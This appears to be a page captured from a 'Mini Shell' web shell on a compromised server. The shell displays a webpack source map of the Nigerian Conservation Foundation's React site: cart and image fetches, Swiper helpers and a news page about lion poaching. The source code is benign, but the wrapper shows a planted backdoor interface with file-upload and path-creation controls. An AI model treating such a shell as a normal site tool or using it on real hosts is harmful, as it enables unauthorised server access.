%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/public_html/ncf/static/js/
Upload File :
Create Path :
Current File : /home/opti/public_html/ncf/static/js/28.96e3b97d.chunk.js.map

{"version":3,"sources":["app/layout/components/SliderBar/SliderBar.js","../node_modules/swiper/esm/react/utils.js","../node_modules/swiper/esm/react/use-isomorphic-layout-effect.js","../node_modules/swiper/esm/react/swiper-slide.js","app/main/library/components/slider/styles.js","app/main/library/components/slider/Slider.js","app/main/library/NewsUpdates.js"],"names":["SliderBar","userId","localStorage","getItem","useState","cart","setCart","useEffect","fetch","SERVER_URL","then","res","json","status","data","console","log","noOfItems","length","className","href","src","alt","isObject","o","constructor","Object","prototype","toString","call","slice","extend","target","noExtend","keys","filter","key","indexOf","forEach","__swiper__","needsNavigation","params","navigation","nextEl","prevEl","needsPagination","pagination","el","needsScrollbar","scrollbar","uniqueClasses","classNames","classes","split","map","c","trim","unique","push","join","useIsomorphicLayoutEffect","callback","deps","window","useLayoutEffect","_excluded","_extends","assign","i","arguments","source","hasOwnProperty","apply","this","SwiperSlide","forwardRef","_temp","externalRef","slideData","_ref","_ref$tag","tag","Tag","children","_ref$className","swiper","zoom","virtualIndex","rest","excluded","sourceKeys","_objectWithoutPropertiesLoose","slideElRef","useRef","_useState","slideClasses","setSlideClasses","updateClasses","current","destroyed","on","off","getSlideClasses","isActive","isVisible","isDuplicate","isPrev","isNext","renderChildren","React","createElement","ref","undefined","displayName","Slider","styled","div","props","images","setImages","imageData","page","NewsUpdates","color"],"mappings":"kMAyDeA,IAnDf,WAEI,IAAMC,EAASC,aAAaC,QAAQ,gBAFpB,EAGQC,mBAAS,IAHjB,mBAGTC,EAHS,KAGHC,EAHG,KAKhBC,qBAAU,WAEFC,MAAM,GAAD,OAAIC,aAAJ,qBAA2BR,IAC/BS,MAAK,SAAAC,GAAG,OAAIA,EAAIC,UAChBF,MAAK,SAAAE,GACe,MAAhBA,EAAKC,OACJP,EAAQM,EAAKE,MAEbC,QAAQC,IAAIJ,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d,6BAIF,qBAAKA,UAAU,sDAAf,SACG,CAAC,EAAG,EAAG,GAAGmC,KAAI,SAACc,GAAD,OACb,sBAEEjD,UAAU,oDAFZ,UAIE,qBACEA,UAAU,SACVE,IAAI,uCACJC,IAAI,4BAEN,sBAAKH,UAAU,YAAf,UACE,qBAAKA,UAAU,yBAAf,2DAGA,sBAAMA,UAAU,sBAAhB,+BACA,mBAAGA,UAAU,yCAAb,sNAOA,oBACEA,UAAU,+CACVC,KAAK,IAFP,uBAIY,cAAC,IAAD,YAxBTgD,WAgCb,qBAAKjD,UAAU,4CAAf,SACE,qBAAKA,UAAU,4BAAf,SACE,sBAAKA,UAAU,oDAAf,UACE,sBAAKA,UAAU,4BAAf,UACE,oBAAIA,UAAU,oDAAd,4BAIA,sBAAKA,UAAU,OAAf,UACE,sBAAKA,UAAU,+BAAf,UACE,oBAAIA,UAAU,oBAAd,0BACA,sBAAMA,UAAU,sBAAhB,gCAEF,sBAAKA,UAAU,0BAAf,UACE,oBAAIA,UAAU,oBAAd,kBACA,sBAAMA,UAAU,6BAAhB,qCAMJ,mBAAGA,UAAU,2BAAb,0RAQA,mBAAGA,UAAU,2BAAb,yIAIA,mBAAGA,UAAU,2BAAb,gJAKA,mBAAGA,UAAU,2BAAb,wKAKA,mBAAGA,UAAU,2BAAb,4RAQA,oBACEA,UAAU,+CACVC,KAAK,IAFP,uBAIY,cAAC,IAAD,UAGd,qBAAKD,UAAU,4BAAf,SACE,qBAAKE,IAAI,oCAAoCC,IAAI","file":"static/js/28.96e3b97d.chunk.js","sourcesContent":["import React, { useState, useEffect } from 'react';\r\nimport {SERVER_URL, CLIENT_URL} from '../../../config/server';\r\nimport \"swiper/swiper.min.css\";\r\nimport \"swiper/components/pagination/pagination.min.css\"\r\nimport \"./sliderbar.css\"\r\n\r\nfunction SliderBar(){\r\n\r\n    const userId = localStorage.getItem('loggedInUser');\r\n    const [cart, setCart] = useState([])\r\n\r\n    useEffect(() => {\r\n          const fetchcart =() =>{\r\n            fetch(`${SERVER_URL}/cart/all/${userId}`)\r\n            .then(res => res.json())\r\n            .then(json => {\r\n              if(json.status === 200){\r\n                  setCart(json.data);\r\n              }else{\r\n                  console.log(json);\r\n              }\r\n          });\r\n            \r\n          \r\n        }\r\n\r\n        fetchcart()\r\n      }, []);\r\n\r\n\r\n      const noOfItems = cart.length;\r\n\r\n    return(\r\n            <div className=\"sliderbardiv sm:mb-20\">\r\n                <div className=\"flex sliderbar shadow-sm -mt-9 field-bottom\">\r\n                <a href=\"/shop\" className=\"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48 broder-0 border-r border-solid\">\r\n                    <span className=\"mb-2\">\r\n                        <img src=\"/assets/images/icons/shop.svg\" alt=\"\" />\r\n                    </span>\r\n                    <span>Shop</span>\r\n                </a>\r\n                <a href=\"/cart\" className=\"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48 broder-0 border-r border-solid\">\r\n                    <span className=\"mb-2\">\r\n                        <img src=\"/assets/images/icons/shopping-cart.svg\" alt=\"\" />\r\n                    </span>\r\n                    <span>Cart <span className=\"cartNumber\"> {noOfItems}</span></span>\r\n                </a>\r\n                <a href=\"/donate\" className=\"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48\">\r\n                    <span className=\"mb-2\">\r\n                        <img src=\"/assets/images/icons/donation.svg\" alt=\"\" />\r\n                    </span>\r\n                    <span>Donate</span>\r\n                </a>\r\n            </div>\r\n            </div>\r\n    )\r\n}\r\nexport default SliderBar;\r\n","function isObject(o) {\n  return typeof o === 'object' && o !== null && o.constructor && Object.prototype.toString.call(o).slice(8, -1) === 'Object';\n}\n\nfunction extend(target, src) {\n  var noExtend = ['__proto__', 'constructor', 'prototype'];\n  Object.keys(src).filter(function (key) {\n    return noExtend.indexOf(key) < 0;\n  }).forEach(function (key) {\n    if (typeof target[key] === 'undefined') target[key] = src[key];else if (isObject(src[key]) && isObject(target[key]) && Object.keys(src[key]).length > 0) {\n      if (src[key].__swiper__) target[key] = src[key];else extend(target[key], src[key]);\n    } else {\n      target[key] = src[key];\n    }\n  });\n}\n\nfunction needsNavigation(params) {\n  if (params === void 0) {\n    params = {};\n  }\n\n  return params.navigation && typeof params.navigation.nextEl === 'undefined' && typeof params.navigation.prevEl === 'undefined';\n}\n\nfunction needsPagination(params) {\n  if (params === void 0) {\n    params = {};\n  }\n\n  return params.pagination && typeof params.pagination.el === 'undefined';\n}\n\nfunction needsScrollbar(params) {\n  if (params === void 0) {\n    params = {};\n  }\n\n  return params.scrollbar && typeof params.scrollbar.el === 'undefined';\n}\n\nfunction uniqueClasses(classNames) {\n  if (classNames === void 0) {\n    classNames = '';\n  }\n\n  var classes = classNames.split(' ').map(function (c) {\n    return c.trim();\n  }).filter(function (c) {\n    return !!c;\n  });\n  var unique = [];\n  classes.forEach(function (c) {\n    if (unique.indexOf(c) < 0) unique.push(c);\n  });\n  return unique.join(' ');\n}\n\nexport { isObject, extend, needsNavigation, needsPagination, needsScrollbar, uniqueClasses };","import { useEffect, useLayoutEffect } from 'react';\n\nfunction useIsomorphicLayoutEffect(callback, deps) {\n  // eslint-disable-next-line\n  if (typeof window === 'undefined') return useEffect(callback, deps);\n  return useLayoutEffect(callback, deps);\n}\n\nexport { useIsomorphicLayoutEffect };","var _excluded = [\"tag\", \"children\", \"className\", \"swiper\", \"zoom\", \"virtualIndex\"];\n\nfunction _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }\n\nfunction _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }\n\nimport React, { useRef, useState, forwardRef } from 'react';\nimport { uniqueClasses } from './utils';\nimport { useIsomorphicLayoutEffect } from './use-isomorphic-layout-effect';\nvar SwiperSlide = /*#__PURE__*/forwardRef(function (_temp, externalRef) {\n  var _ref = _temp === void 0 ? {} : _temp,\n      _ref$tag = _ref.tag,\n      Tag = _ref$tag === void 0 ? 'div' : _ref$tag,\n      children = _ref.children,\n      _ref$className = _ref.className,\n      className = _ref$className === void 0 ? '' : _ref$className,\n      swiper = _ref.swiper,\n      zoom = _ref.zoom,\n      virtualIndex = _ref.virtualIndex,\n      rest = _objectWithoutPropertiesLoose(_ref, _excluded);\n\n  var slideElRef = useRef(null);\n\n  var _useState = useState('swiper-slide'),\n      slideClasses = _useState[0],\n      setSlideClasses = _useState[1];\n\n  function updateClasses(swiper, el, classNames) {\n    if (el === slideElRef.current) {\n      setSlideClasses(classNames);\n    }\n  }\n\n  useIsomorphicLayoutEffect(function () {\n    if (externalRef) {\n      externalRef.current = slideElRef.current;\n    }\n\n    if (!slideElRef.current || !swiper) {\n      return;\n    }\n\n    if (swiper.destroyed) {\n      if (slideClasses !== 'swiper-slide') {\n        setSlideClasses('swiper-slide');\n      }\n\n      return;\n    }\n\n    swiper.on('_slideClass', updateClasses); // eslint-disable-next-line\n\n    return function () {\n      if (!swiper) return;\n      swiper.off('_slideClass', updateClasses);\n    };\n  });\n  useIsomorphicLayoutEffect(function () {\n    if (swiper && slideElRef.current) {\n      setSlideClasses(swiper.getSlideClasses(slideElRef.current));\n    }\n  }, [swiper]);\n  var slideData;\n\n  if (typeof children === 'function') {\n    slideData = {\n      isActive: slideClasses.indexOf('swiper-slide-active') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-active') >= 0,\n      isVisible: slideClasses.indexOf('swiper-slide-visible') >= 0,\n      isDuplicate: slideClasses.indexOf('swiper-slide-duplicate') >= 0,\n      isPrev: slideClasses.indexOf('swiper-slide-prev') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-prev') >= 0,\n      isNext: slideClasses.indexOf('swiper-slide-next') >= 0 || slideClasses.indexOf('swiper-slide-duplicate-next') >= 0\n    };\n  }\n\n  var renderChildren = function renderChildren() {\n    return typeof children === 'function' ? children(slideData) : children;\n  };\n\n  return /*#__PURE__*/React.createElement(Tag, _extends({\n    ref: slideElRef,\n    className: uniqueClasses(\"\" + slideClasses + (className ? \" \" + className : '')),\n    \"data-swiper-slide-index\": virtualIndex\n  }, rest), zoom ? /*#__PURE__*/React.createElement(\"div\", {\n    className: \"swiper-zoom-container\",\n    \"data-swiper-zoom\": typeof zoom === 'number' ? zoom : undefined\n  }, renderChildren()) : renderChildren());\n});\nSwiperSlide.displayName = 'SwiperSlide';\nexport { SwiperSlide };","import styled from \"styled-components\"\r\n\r\nconst Slider = styled.div`\r\n  position: relative;\r\n  height: 700px;\r\n\tborder: 1px solid #eee\r\n\r\n  background: #eee;\r\n  font-family: 'Roboto', Helvetica Neue, Helvetica, Arial, sans-serif;\r\n  font-size: 14px;\r\n  color: rgb(39, 38, 38);\r\n  margin: 0;\r\n  padding: 0;\r\n\r\n\t.swiper-container {\r\n\t\twidth: 100%;\r\n\t\theight: 100%;\r\n\t}\r\n\r\n\t.swiper-slide {\r\n\t\tfont-size: 18px;\r\n\t\tbackground: transparent;\r\n\r\n\t\t/* Center slide text vertically */\r\n\t\tdisplay: -webkit-box;\r\n\t\tdisplay: -ms-flexbox;\r\n\t\tdisplay: -webkit-flex;\r\n\t\tdisplay: flex;\r\n\t\t-webkit-box-pack: center;\r\n\t\t-ms-flex-pack: center;\r\n\t\t-webkit-justify-content: center;\r\n\t\tjustify-content: center;\r\n\t\t-webkit-box-align: center;\r\n\t\t-ms-flex-align: center;\r\n\t\t-webkit-align-items: center;\r\n\t\talign-items: center;\r\n\t}\r\n\r\n\t.swiper-slide img {\r\n\t\tdisplay: block;\r\n\t\twidth: 100%;\r\n\t\theight: 100%;\r\n\t\tobject-fit: cover;\r\n\t}\r\n\r\n\t.swiper-slide .slider-wrapper {\r\n\t\tdisplay: block;\r\n\t\tposition: relative;\r\n\t\twidth: 100%;\r\n\t\theight: 100%;\r\n\t\tobject-fit: cover;\r\n\t}\r\n\r\n\t.slider-text {\r\n\t\tposition: absolute;\r\n\t\theight: 100%;\r\n\t\twidth: 100%;\r\n\t}\r\n\r\n\t.field-bottom {\r\n\t\ttransform: translate(10%, 320px);\r\n\t}\r\n\r\n\t@media screen and (max-width: 640px) {\r\n\t\t.field-bottom {\r\n\t\t\ttransform: translate(0%, 0%);\r\n\t\t}\r\n\t}\r\n`\r\n\r\nexport default Slider","import React, { useState, useEffect } from 'react';\r\nimport {SERVER_URL} from '../../../../config/server';\r\nimport { Swiper, SwiperSlide } from \"swiper/react\";\r\nimport SliderContainer from \"./styles\"\r\nimport '../../../style.css'\r\n\r\nfunction Slider(props) {\r\n  const [images, setImages] = useState('');\r\n\r\n  useEffect(() => {\r\n    const fetchImages =() =>{\r\n      fetch(`${SERVER_URL}/image/page-banners`)\r\n      .then(res => res.json())\r\n      .then(json => {\r\n        if(json.status === 200){\r\n          const imageData = json.data;\r\n          setImages(imageData);\r\n        }else{\r\n            console.log(\"Oops couldn't fetch data\");\r\n        }\r\n    });\r\n      \r\n    }\r\n\r\n    fetchImages();\r\n  }, []);\r\n\r\n  \r\n  const page = props.page;\r\n  return (\r\n    <SliderContainer className=\"mt-6 z-index-3\">\r\n                <SwiperSlide>\r\n                    <div className=\"slider-wrapper\">\r\n                        <div className=\"slider-text border border-solid\">\r\n                            <div className=\"max-w-7xl mx-auto pb-16 pt-48 md:px-16 px-8\">\r\n                            <div className=\"grid md:grid-cols-2 grid-cols-1 gap-x-8 gap-y-8\">\r\n                            <div className=\"content banner-txt\">\r\n                            <h1 className='text-4xl font-bold text-white mb-4'>\r\n                              What have you done for the Environment Lately?\r\n                            </h1>\r\n                            <p className='font-light text-white mb-6'>\r\n                              What you give goes a long way\r\n                            </p>\r\n\r\n                            <a href=\"/donate\">\r\n                            <button className='bg-green hover:bg-green-800 text-white font-bold py-2 px-8 rounded'>\r\n                              Donate\r\n                            </button>\r\n                            </a>\r\n                                </div> \r\n                            </div>\r\n                            </div>\r\n                        </div>\r\n                        <img src={`https://admin.ncfnigeria.org/images/banners/${images[page]}`} alt=\"\" />\r\n                    </div>\r\n                </SwiperSlide>\r\n            \r\n        </SliderContainer>\r\n  );\r\n}\r\n\r\nexport default Slider;\r\n","import React, { useState } from 'react';\r\nimport HomeSlider from './components/slider/Slider';\r\nimport { ImFacebook2, ImTwitter } from 'react-icons/im';\r\nimport { HiOutlineChevronRight } from 'react-icons/hi';\r\nimport { ButtonTabs, SocialTabs } from '@nfc';\r\nimport SliderBar from \"../../layout/components/SliderBar/SliderBar\"\r\nimport '../style.css'\r\n\r\nconst tabs = ['Video', 'Interviews', 'Articles', 'Publication'];\r\n\r\nfunction NewsUpdates(props) {\r\n  const [activeTab, setActiveTab] = useState(0);\r\n  const page = 'news_update'\r\n  return (\r\n    <div>\r\n      <HomeSlider page={page}/>\r\n      <div className='w-full md:px-8 pt-8 pb-8 bg-gray-100'>\r\n        <SliderBar/>\r\n        <div className='max-w-7xl mx-auto md:px-8'>\r\n          <div className='text-left mb-6'>\r\n            <h1 className='font-black text-2xl text-green uppercase tracking-tight'>\r\n              news and update\r\n            </h1>\r\n            <hr className='h-1 my-4 bg-transparent border-0 border-t border-solid border-gray-300' />\r\n          </div>\r\n          <div className='grid md:grid-cols-12 md:gap-8 gap-y-8 items-center'>\r\n            <div className='sm:col-span-8 col-span-12'>\r\n              <img className=\"w-full\" src='/assets/images/banner/lion.jpeg' alt='' />\r\n            </div>\r\n            <div className='sm:col-span-4 col-span-12 px-8'>\r\n              <div className='mb-4 px-8'>\r\n                <h1 className='font-black text-3xl mb-4'>\r\n                  ANIMAL\r\n                  <br /> POACHING\r\n                </h1>\r\n                <span className='italic'>Monday April 2021</span>\r\n              </div>\r\n\r\n              <p className='text-sm txt-justify mb-4'>\r\n                Uganda arrests suspects over lion killings at park The lions in\r\n                Queen Elizabeth National Park are known for their ability to\r\n                climb trees The lions in Queen Elizabeth National Park can climb\r\n                treesImage caption: The lions in Queen Elizabeth National Park\r\n                can climb trees\r\n              </p>\r\n\r\n              <p className='text-sm txt-justify mb-4'>\r\n                The Ugandan authorities have arrested four people suspected of\r\n                killing six lions in one of the country's most famous parks.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                The lions were found dead and mutilated last Friday and their\r\n                bodies surrounded by dead vultures in Queen Elizabeth National\r\n                Park.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                On Tuesday, the Uganda Wildlife Authority (UWA) said the\r\n                suspects were arrested in a joint operation by the military,\r\n                police and the wildlife authorities.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                \"Today at daybreak, the suspects took the security team to a\r\n                location where three heads of lions were found hidden in a tree\r\n                and the fourth one was buried with 15 legs under the same tree.\r\n                The suspects said they dropped one leg in the park,\" the UWA\r\n                said in a statement.\r\n              </p>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n\r\n      <div className='w-full md:px-8 px-4 py-8 bg-gray-100'>\r\n        <div className='max-w-7xl mx-auto py-16 md:px-0 px-8'>\r\n          <div className='grid md:grid-cols-12 md:gap-8 gap-y-8 items-center'>\r\n            <div className='sm:col-span-3 col-span-12'>\r\n              <img src='/assets/images/banner/rotunda.jpeg' alt='' />\r\n            </div>\r\n            <div className='sm:col-span-6 col-span-12'>\r\n              <div className='mb-4'>\r\n                <h1 className='font-black text-2xl'>About NCF</h1>\r\n              </div>\r\n              <p  className=\"text-mbl txt-justify\">\r\n                The Nigerian Conservation Foundation (NCF) is the premier Non\r\n                Governmental Organisation (NGO) dedicated to nature conservation\r\n                and sustainable development in Nigeria. Established in 1980, the\r\n                Foundation was registered in 1982 as a Charitable Trust under\r\n                the Land (Perpetual Succession) Act of 1961 - a policy that was\r\n                replaced by the Company and Allied Matters Act of 1990. Founded\r\n                by late Chief S. L. Edu, NCF has its patron as the President and\r\n                Commander- In-Chief of the Armed Force of the FederalRepublic of\r\n                Nigeria.\r\n              </p>\r\n            </div>\r\n            <div className='sm:col-span-3 col-span-12'>\r\n              <div className='mb-4'>\r\n                <h1 className='font-bold text-xl'>Stay connected</h1>\r\n              </div>\r\n\r\n              <table className='min-w-full divide-y divide-gray-200'>\r\n                <tbody className='bg-white divide-y divide-gray-200'>\r\n                  <tr>\r\n                    <a href=\"https://www.facebook.com/NCFNigeria/\" className=\"text-black no-underline\">\r\n                    <td className='px-6 py-4 whitespace-nowrap'>\r\n                      Follow NCF on Facebook\r\n                    </td>\r\n                    <td className='px-6 py-4 whitespace-nowrap text-sm text-gray-500'>\r\n                      <ImFacebook2 color='#1B3B7D' />\r\n                    </td>\r\n                    </a>\r\n                  </tr>\r\n                  <tr>\r\n                  <a href=\"https://twitter.com/ncfnigeria\" className=\"text-black no-underline\">\r\n                    <td className='px-6 py-4 whitespace-nowrap'>\r\n                      Follow NCF on Twitter\r\n                    </td>\r\n                    <td className='px-6 py-4 whitespace-nowrap text-sm text-gray-500'>\r\n                      <ImTwitter color='#1B3B7D' />\r\n                    </td>\r\n                    </a>\r\n                  </tr>\r\n                  <tr>\r\n                    <a href=\"https://www.instagram.com/ncfnigeria/\" className=\"text-black no-underline\">\r\n                    <td className='px-6 py-4 whitespace-nowrap'>\r\n                      Follow NCF on Instagram\r\n                    </td>\r\n                    <td className='px-6 py-4 whitespace-nowrap text-sm text-gray-500'>\r\n                      <img\r\n                        src='/assets/images/socials/instagram.svg'\r\n                        className='w-8'\r\n                        alt=''\r\n                      />\r\n                    </td>\r\n                    </a>\r\n                  </tr>\r\n                </tbody>\r\n              </table>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n\r\n      <div className='max-w-7xl mx-auto py-16 md:px-0 px-8'>\r\n        <div className='mb-6'>\r\n          <h1 className='font-black text-2xl uppercase tracking-tight'>\r\n            Latest Update\r\n          </h1>\r\n        </div>\r\n        <div className='grid md:grid-cols-3 grid-cols-1 md:gap-x-16 gap-y-8'>\r\n          {[0, 1, 2].map((i) => (\r\n            <div\r\n              key={i}\r\n              className='max-w-md rounded overflow-hidden h-full shadow-lg'\r\n            >\r\n              <img\r\n                className='w-full'\r\n                src='/assets/images/nature/news-image.png'\r\n                alt='Sunset in the mountains'\r\n              />\r\n              <div className='px-6 py-4'>\r\n                <div className='font-bold text-lg mb-2'>\r\n                  NGOs, CSOs demand 'Right to a Healthy Planet'\r\n                </div>\r\n                <span className='text-sm italic mb-4'>Monday April 2021</span>\r\n                <p className='text-gray-700 text-sm txt-justify mb-4'>\r\n                  Over 100 000 citizens demand the United Nations (UN) to\r\n                  recognise a new human right – the right to a healthy planet\r\n                  Citizens from around the world are demanding that the right to\r\n                  a clean, healthy\r\n                </p>\r\n\r\n                <a\r\n                  className='flex items-center justify-end text-sm italic'\r\n                  href='/'\r\n                >\r\n                  Read more <HiOutlineChevronRight />\r\n                </a>\r\n              </div>\r\n            </div>\r\n          ))}\r\n        </div>\r\n      </div>\r\n\r\n      <div className='w-full md:px-8 px-4 pt-16 pb-8 bg-gray-50'>\r\n        <div className='max-w-7xl mx-auto md:px-0'>\r\n          <div className='grid md:grid-cols-12 md:gap-8 gap-y-8 items-start'>\r\n            <div className='sm:col-span-4 col-span-12'>\r\n              <h1 className='font-black text-2xl mb-4 uppercase tracking-tight'>\r\n                climate change\r\n              </h1>\r\n\r\n              <div className='mb-6'>\r\n                <div className='flex flex-col space-y-1 mb-2'>\r\n                  <h2 className='font-bold text-sm'>Interview By</h2>\r\n                  <span className='font-medium text-sm'>DR. Steve Miler</span>\r\n                </div>\r\n                <div className='flex flex-col space-y-1'>\r\n                  <h2 className='font-bold text-sm'>Date</h2>\r\n                  <span className='font-medium text-sm italic'>\r\n                    Monday April 2021\r\n                  </span>\r\n                </div>\r\n              </div>\r\n\r\n              <p className='text-sm txt-justify mb-4'>\r\n                Uganda arrests suspects over lion killings at park The lions in\r\n                Queen Elizabeth National Park are known for their ability to\r\n                climb trees The lions in Queen Elizabeth National Park can climb\r\n                treesImage caption: The lions in Queen Elizabeth National Park\r\n                can climb trees\r\n              </p>\r\n\r\n              <p className='text-sm txt-justify mb-4'>\r\n                The Ugandan authorities have arrested four people suspected of\r\n                killing six lions in one of the country's most famous parks.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                The lions were found dead and mutilated last Friday and their\r\n                bodies surrounded by dead vultures in Queen Elizabeth National\r\n                Park.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                On Tuesday, the Uganda Wildlife Authority (UWA) said the\r\n                suspects were arrested in a joint operation by the military,\r\n                police and the wildlife authorities.\r\n              </p>\r\n              <p className='text-sm txt-justify mb-4'>\r\n                \"Today at daybreak, the suspects took the security team to a\r\n                location where three heads of lions were found hidden in a tree\r\n                and the fourth one was buried with 15 legs under the same tree.\r\n                The suspects said they dropped one leg in the park,\" the UWA\r\n                said in a statement.\r\n              </p>\r\n\r\n              <a\r\n                className='flex items-center justify-end text-sm italic'\r\n                href='/'\r\n              >\r\n                Read more <HiOutlineChevronRight />\r\n              </a>\r\n            </div>\r\n            <div className='sm:col-span-8 col-span-12'>\r\n              <img src='/assets/images/nature/climate.png' alt='' />\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n\r\n      \r\n\r\n     \r\n    </div>\r\n  );\r\n}\r\n\r\nexport default NewsUpdates;\r\n"],"sourceRoot":""}

Zerion Mini Shell 1.0